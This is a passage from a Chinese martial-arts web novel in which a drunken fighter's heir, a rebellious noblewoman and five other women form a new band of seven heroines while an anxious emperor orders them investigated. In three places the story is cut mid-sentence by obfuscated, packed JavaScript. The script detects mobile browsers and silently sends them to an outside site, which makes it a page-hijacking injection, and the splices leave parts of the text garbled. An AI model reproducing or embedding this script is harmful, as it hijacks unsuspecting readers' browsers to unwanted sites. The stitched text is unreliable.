“这是她爹留下的,”她娘说,“拿去。够还债了。” 那些人接过酒壶,看了看。 笑了。 “破酒壶?能值几个钱?” 他们要把酒壶摔了。 就在这时候,门被人踢开了。 一个人冲进来。 是个疯疯癫癫的女人,浑身酒气,可眼睛亮得很。 她一拳一个,把那些打手全都打趴下。 然后她走到沈醉生面前,蹲下来。 “你娘留给你的东西,不能让人抢走。” 她把那只酒壶塞回沈醉生手里。 沈醉生愣住了。 “你……你是谁?” 那女人笑了。 “我叫沈醉。他们都叫我酒中仙。” 沈醉生的眼睛瞪大。 酒中仙? 那个传说中的人? 沈醉看着她,忽然问:“你为什么要救我?” 沈醉想了想。 “因为你叫沈醉生。” 沈醉生不懂。 沈醉说:“这酒壶,是我师父留给我的。我把它丢在这镇子上,被人捡走了。几十年了,今天终于见到。” 她站起来,拍了拍沈醉生的头。 “好好活着。活到能拿拳头的那天。” 然后她走了。 沈醉生追出去,她已经不见了。 只剩下那只酒壶,在手里沉甸甸的。 沈醉生低头看那只酒壶。 壶底,刻着三个字。 “沈醉生。” 她一直以为那是她的名字。 现在才知道,那不是名字。 是那句话。 “醉儿,活下去。” 她娘临死前,把那句话留给她。 用这只酒壶。 用这个名字。 --- 她娘还是死了。 死在那些人第二次来的时候。 她挡在娘前面,被他们打晕了。 醒过来的时候,她娘已经凉了。 她抱着她娘,没有哭。 只是把她娘埋了。 把那酒壶贴身收好。 然后她开始学拳。 沈醉那天打的那几拳,她记住了。 一拳,踢人的膝盖会软。 一拳,打人的肚子会吐。 一拳,砸人的脑袋会晕。 她一个人练,练了三年。 练得满手是血,满身是伤。 可她不在乎。 因为她知道,这拳头,能救命。 十三岁那年,她第一次用这拳头。 一个男人要欺负她,她一拳打在他肚子上。 他跪下去,吐了一地。 她又一拳砸在他脑袋上。 他晕了。 她站在那儿,看着那个人,忽然笑了。 笑着笑着,眼泪流下来。 “沈前辈,”她轻声说,“你教我的,我学会了。” --- 从那以后,她开始用这拳头护人。 护那些被欺负的女人。 护那些被卖掉的丫头。 护那些走在路上、却总被人拦下来的姑娘。 有人骂她“疯女人”。 她不在乎。 因为她知道,沈醉比她更疯。 那个疯女人,用一双拳头,杀出了一条路。 她只是,走在那条路上。 承安十一年,十一月初十。 青石镇,赌场门口。 一个十五六岁的姑娘跪在地上哭。 她爹欠了赌债,把她卖给赌场抵债。赌场的人正在拉她进去。 沈醉生站在人群里,看着那些人。 看着那个姑娘的脸。 那张脸,和她当年一模一样。 她走出来。 走到那些人面前。 “放开她。” 那些人回头,看见她,笑了。 “又是你这个疯女人?滚远点!” 沈醉生没动。 只是看着那个姑娘。 “起来。”她说。 那个姑娘抬起头,看着她。 沈醉生伸出手。 那个姑娘握住她的手,站起来。 那些人冲上来。 沈醉生的拳头动了。 一拳,打在最前面那人的膝盖上。他跪下去,惨叫。 一拳,打在第二个人的肚子上。他弯下腰,吐了一地。 一拳,砸在第三个人的脑袋上。他眼睛一翻,倒下去。 剩下的那些人,吓得往后退。 沈醉生站在那里,看着他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说她救了十几个姑娘,个个都叫她姐姐。 说她笑起来的样子,让人害怕。 沈醉生听到这些传言,笑了。 “酒中劫?”她说,“好。比酒中仙好。仙,太远。劫,近。” 她翻开沈醉留下的那本拳谱。 是阿桑当年从风月楼废墟里找出来的。 拳谱最后一页,写着八个字。 “醉眼看人,醒着拼命。” 她看着那八个字,看了很久。 然后她笑了。 “沈前辈,”她轻声说,“你放心。醉着看,醒着拼。我记住了。” 她把拳谱收好,握着那只酒壶。 站起来,走到门口。 外面,月光很好。 照在她身上,照在酒壶上。 照在那朵梅花上。 亮得像火。 她笑了。 “都在。”她轻声说,“都还在。” 然后她走进月光里。 走进夜色里。 走进那条路里。 那条沈醉铺过的路。 那条她也要走下去的路。 38. 传承—丞相再现 承安十五年,腊月初一。 京城,谢府。 谢家是大燕的世家,出过三个宰相,五个尚书,十几个侍郎。门前的石狮子都比别家的高一头。 可今天的谢府,气氛不对。 后院里,一个年轻的女子跪在祠堂前。 她穿着一身素衣,头发披散着,脸上没有任何表情。 面前,是一张婚书。 “谢知秋,许配给户部侍郎之子张文远,腊月初八成婚。” 她看着那行字,看了很久。 然后她笑了。 笑得很冷。 她从怀里摸出一样东西。 是一支朱砂笔。 很旧的笔,笔杆都磨得发亮了。 那是谢知微留下的遗物。 她握着那支笔,在婚书上写了一个字。 “休。” 写完了,她把婚书扔在地上。 站起来,转身就走。 身后,传来一阵惊呼。 “她疯了!” “不守妇道!” “抓住她!” 她没有回头。 只是往前走。 走出谢府,走进夜色里。 --- 谢知秋今年二十一岁。 她是谢知微的远亲。 说远,真的很远。往上数五辈,才勉强算是一家。 可她还是姓谢。 还是住在谢府里。 还是被那些长辈们指指点点。 “谢知微的亲戚?晦气。” “那个女人,祸乱朝纲,死有余辜。” “离她远点,别沾上晦气。” 她从小听着这些话长大。 可她不在乎。 因为她知道,谢知微不是他们说的那样。 她看过谢知微留下的东西。 那些奏折,那些书信,那些批注。 有一本奏折,是谢知微临死前写的。 最后一页,有一行字。 很小,要凑得很近才能看清。 “我死,女科生——这买卖,值。” 她看着那行字,看了很久。 然后她哭了。 哭着哭着,又笑了。 “谢前辈,”她轻声说,“你值了。可那些女子,还在受苦呢。” 从那以后,她开始留意那些事。 哪些官员欺负人,哪些世家强占民女,哪些人表面上道貌岸然、背地里男盗女娼。 她都记着。 用那支朱砂笔记着。 等着有一天,用得上。 --- 她等到了。 十八岁那年,家里开始给她说亲。 说了三年,说了几十个。 她一个都不答应。 家里急了。 “你都二十一了,再不嫁,谁要你?” 她说:“没人要正好。” 家里怒了。 “由不得你!” 他们定了一门亲,户部侍郎之子张文远。 那人她见过。 肥头大耳,满脸横肉,见着她的时候,眼睛一直在她身上转。 她恶心。 可家里不管。 婚书定了,日子定了,请帖发了。 她跪在祠堂前,看着那些祖宗牌位。 看着那些她根本不认识的“长辈”。 她笑了。 从怀里摸出那支朱砂笔。 在婚书上写了一个字。 “休。” 然后她走了。 身后,是那些人的骂声。 “不守妇道!” “谢家的脸让她丢尽了!” “抓住她!别让她跑了!” 她没有回头。 只是往前走。 走到大门口,忽然停下来。 回头,看着那些追上来的人。 “谢前辈的朱砂,批的是奸臣,”她说,“我的血,写的是女子之怒。” 她咬破手指,在门框上写了两个字。 “谢知秋。” 然后她走了。 消失在夜色里。 那些人站在门口,看着那两个血字。 没有人敢追。 --- 那天晚上,谢知秋一个人坐在城外的破庙里。 面前摆着那支朱砂笔。 她看着那支笔,看了很久。 然后她笑了。 “谢前辈,”她轻声说,“你批了一辈子奏折,我批了一辈子婚书。咱们批的东西不一样,可一样的是——都不认命。” 她把笔收好,站起来。 走到庙门口。 外面,月光很好。 照在她身上,照在那支笔上。 照在那些血字上。 亮得像火。 她笑了。 “都在。”她轻声说,“都还在。” 然后她走进月光里。 走进夜色里。 走进那条路里。 那条谢知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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照在她身上,照在那支笔上。 照在那些血字上。 亮得像火。 她笑了。 “都在。”她轻声说,“都还在。” 39. 新七绝—传承 承安十六年,腊月二十三。 小年夜。 京城,皇宫,乾元殿。 皇帝坐在龙椅上,脸色阴沉得能滴出水来。 他今年十七岁,登基已经五年了。五年来,他以为自己坐稳了这把椅子。 可今天,他发现自己错了。 案上摆着一份密报。 皇城司送来的。 他看完之后,手都在抖。 “大燕新七绝……”他喃喃念着,“剑晚霜、医中鬼、商中刃、绣中刃、乐中杀、酒中劫、相中刃……” 刘公公跪在下面,头都不敢抬。 皇帝把密报摔在地上。 “全是女子?!”他吼道,“又是女子!一百年前是女子,一百年后还是女子!这大燕的天下,什么时候轮到女子说话了!” 刘公公磕头如捣蒜。 “陛……陛下息怒……” 皇帝喘着粗气,在殿里走来走去。 走了几圈,他忽然停下来。 “查!”他吼道,“给朕查清楚这七人是谁!她们想干什么!谁指使的!背后还有什么人!” 刘公公应声而去。 皇帝站在殿里,看着窗外的夜色。 夜色很深。 很黑。 可他总觉得,那黑暗里,有七双眼睛正在看着他。 一百年前的那七个女人,死了。 可她们的眼睛,还在。 现在,又有七个新的。 “谢知微,”他咬着牙,“你死了还不肯放过朕!” 没有人回答。 只有奏折散落一地,白纸黑字,像无数只眼睛。 --- 腊月二十四。 消息传遍了京城。 “听说了吗?大燕新七绝!” “什么新七绝?” “剑晚霜、医中鬼、商中刃、绣中刃、乐中杀、酒中劫、相中刃——全是女子!” “又是女子?” “又是女子!” 茶馆里,酒楼里,街头巷尾,到处都在议论。 有人拍案叫绝。 有人破口大骂。 有人好奇,有人恐惧,有人等着看热闹。 可那些女学子,没有人说话。 她们只是互相看了一眼。 眼里有光。 --- 青石镇,山脚下。 林晚霜站在一块石碑前。 碑上刻着两个字:“剑在。” 她身后,站着六个人。 白灵。苏红袖。云绣。花解忧。沈醉生。谢知秋。 七个人,七个名字。 七种不同的身世。 七条不同的路。 可她们站在一起。 林晚霜转过身,看着她们。 “都听见了?”她问。 白灵笑了。 “听见了。新七绝。这名字,比医中鬼好听。” 苏红袖拨了拨手里的算盘。 “商中刃?我喜欢。” 云绣摸着怀里的绣针。 “绣中刃……刃,比魂狠。” 花解忧抱着琴,没有说话。 只是轻轻拨了一下琴弦。 “嗡——” 一声低鸣。 沈醉生从腰间摘下那只酒壶,喝了一口。 “酒中劫,”她说,“好名字。” 谢知秋握着那支朱砂笔,看着远处的京城。 “相中刃,”她轻声说,“谢前辈,你听见了吗?” 没有人回答。 可风吹过来,卷起地上的雪。 像是有人在说: “听见了。” 林晚霜看着她们,忽然笑了。 难得地笑了。 “一百年前,”她说,“有七个女人,用命换了一条路。” 她顿了顿。 “现在,咱们走在那条路上。” 白灵接过话。 “那些想拦住咱们的人,还在。” 苏红袖说:“那些欠下的债,还没算完。” 云绣说:“那些还没绣完的路,还得绣。” 花解忧说:“那些该杀的,还没杀。” 沈醉生说:“那些该醒的,还没醒。” 谢知秋说:“那些该写的,还没写完。” 七个人,七句话。 说完,她们看着彼此。 笑了。 林晚霜说:“那就走吧。” 白灵问:“去哪儿?” 林晚霜看着京城的方向。 “去该去的地方。” 她们走了。 七个人,七条路。 可她们走在一起。 走进风雪里。 走进那条路里。 那条一百年前铺好的路。 那条她们也要走下去的路。 --- 腊月二十五。 江湖上开始疯传新七绝的事。 有人说,剑晚霜是谢霜寒的传人,剑法比谢霜寒还狠。 有人说,医中鬼用毒用蛊,比白芷还邪。 有人说,商中刃的算盘能杀人,比苏锦还精。 有人说,绣中刃用血绣图,比云娘还烈。 有人说,乐中杀的琴弦能取命,比花解语还妖。 有人说,酒中劫的拳头能打醒人,比沈醉还疯。 有人说,相中刃用血写奏折,比谢知微还绝。 传着传着,有人问:“这七个人,想干什么?” 没有人知道。 可那些女学子,开始偷偷地笑。 她们知道。 她们在等。 等那七个人,走到京城来。 --- 腊月二十八。 京城,风月楼废墟。 那块刻着“女子不死,世道不灭”的石板前,站着七个人。 林晚霜。白灵。苏红袖。云绣。花解忧。沈醉生。谢知秋。 她们站在那里,看着那八个字。 看了很久。 林晚霜开口了。 “一百年前的今天,”她说,“七个女人在这里聚首。七盏酒碰在一起,积雪震落。” 白灵说:“她们用命,铺了一条路。” 苏红袖说:“咱们走在路上。” 云绣说:“路还没到头。” 花解忧说:“还得继续走。” 沈醉生说:“还得继续拼。” 谢知秋说:“还得继续写。” 林晚霜从怀里摸出一坛酒。 是沈醉生带来的。 沈醉的酒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334444|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她打开酒坛,倒了七碗。 一碗递给白灵。 一碗递给苏红袖。 一碗递给云绣。 一碗递给花解忧。 一碗递给沈醉生。 一碗递给谢知秋。 最后一碗,自己端着。 七个人,七碗酒。 林晚霜举起碗。 “敬她们。” 白灵举起碗。 “敬那条路。” 苏红袖举起碗。 “敬那些还没走完的人。” 云绣举起碗。 “敬那些还没绣完的图。” 花解忧举起碗。 “敬那些还没杀的该杀之人。” 沈醉生举起碗。 “敬那些还没醒的该醒之人。” 谢知秋举起碗。 “敬那些还没写的该写之事。” 七碗酒碰在一起。 “砰——” 清脆的一声。 窗外,积雪震落。 和一百年前一样。 她们仰头,把酒喝了。 酒很烈。 从喉咙一直辣到心里。 可她们心里是热的。 因为她们知道,她们不是一个人。 是七个人。 是那条路上的七个人。 是那些还没走完的人。 林晚霜把酒碗往地上一摔。 “走吧。” 七个人,走进风雪里。 走进夜色里。 走进那条路里。 身后,是那八个字。 “女子不死,世道不灭。” --- 腊月二十九。 皇宫,乾元殿。 皇帝看着案上的密报,脸色铁青。 密报上写着那七个人的名字、来历、做过的事。 每一个字,都像刀子一样扎在他心上。 他把密报摔在地上。 “查!”他吼道,“给朕查清楚这七人是谁!她们想干什么!谁指使的!背后还有什么人!” 刘公公跪在地上,头都不敢抬。 “臣……臣遵旨……” 皇帝喘着粗气,在殿里走来走去。 走了几圈,他忽然停下来。 看着窗外。 窗外,天灰蒙蒙的,像要下雪。 可他知道,那些雪底下,埋着东西。 埋着那条路。 埋着那些梅花。 埋着那一百年前的七个女人。 埋着现在这七个新的。 他忽然觉得冷。 从骨头缝里往外冒的冷。 “谢知微,”他喃喃说,“你死了,还不肯放过朕。” 没有人回答。 只有奏折散落一地。 白纸黑字。 像无数只眼睛。 正在看着他。 ……………… 总要有人走,才会有路。 一百年前,七个女人走过。雪地里留下第一行脚印,被岁月掩埋,又被后人踏出。 掩埋,踏出。掩埋,踏出。 踏了一百年,踩成一条路。 现在,又有七个女人走上去。 她们身后,是无数女子正沿着这条路,走向天亮。